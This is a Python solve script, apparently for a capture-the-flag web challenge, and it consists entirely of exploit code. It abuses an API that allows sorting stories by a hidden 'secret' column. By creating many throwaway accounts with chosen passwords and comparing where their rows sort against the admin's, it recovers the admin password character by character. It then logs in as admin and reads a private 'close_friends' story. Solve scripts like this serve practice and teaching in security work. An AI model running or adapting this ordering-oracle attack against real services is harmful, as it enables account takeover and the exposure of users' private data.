Solve script:

import secrets
import requests


BASE = "http://localhost:3000"

s = requests.Session()
hexchars = "0123456789abcdef"

def reset_cookie(r):
	if cookie := r.cookies.get("__Host-session"):
		s.cookies.clear()
		s.cookies.set("__Host-session", cookie)

if __name__ == "__main__":
    prefix = ""
    tag = "x" + secrets.token_hex(3)

    while len(prefix) < 15:
        candidates = {}
        for c in hexchars:
            name = f"{tag}{prefix}{c}"
            r = s.post(f"{BASE}/api/signup", json={
                "name": name,
                "password": prefix + c
            })
            r.raise_for_status()

            reset_cookie(r)
            r = s.post(
                f"{BASE}/api/stories",
                json={
                    "story": name,
                    "visibility": "public",
                    "minutes": 60
                })
            r.raise_for_status()
            candidates[name] = c

        rows = s.get(f"{BASE}/api/stories", params={"column": "secret", "order": "ASC"}).json()
        positions = {row["author"]: i for i, row in enumerate(rows)}
        admin = next(
            i
            for i, row in enumerate(rows)
            if row.get("author") == "admin" and row.get("visibility") == "public"
        )
        before = [name for name in candidates if positions[name] < admin]
        if len(before) == 0:
            print("no admin stories")
            exit()
        
        prefix += candidates[max(before, key=positions.get)]
        print(prefix)

    for c in hexchars:
        password = prefix + c
        r = s.post(f"{BASE}/api/login", json={"name": "admin", "password": password})
        if r.ok:
            prefix = password
            reset_cookie(r)
            break
    else:
        print("couldn't log in as admin")
        exit()
    print("password:", prefix)

    rows = s.get(f"{BASE}/api/stories").json()
    for row in rows:
        if row.get("author") == "admin" and row.get("visibility") == "close_friends":
            print(row["story"])
            exit()
    print("story not found")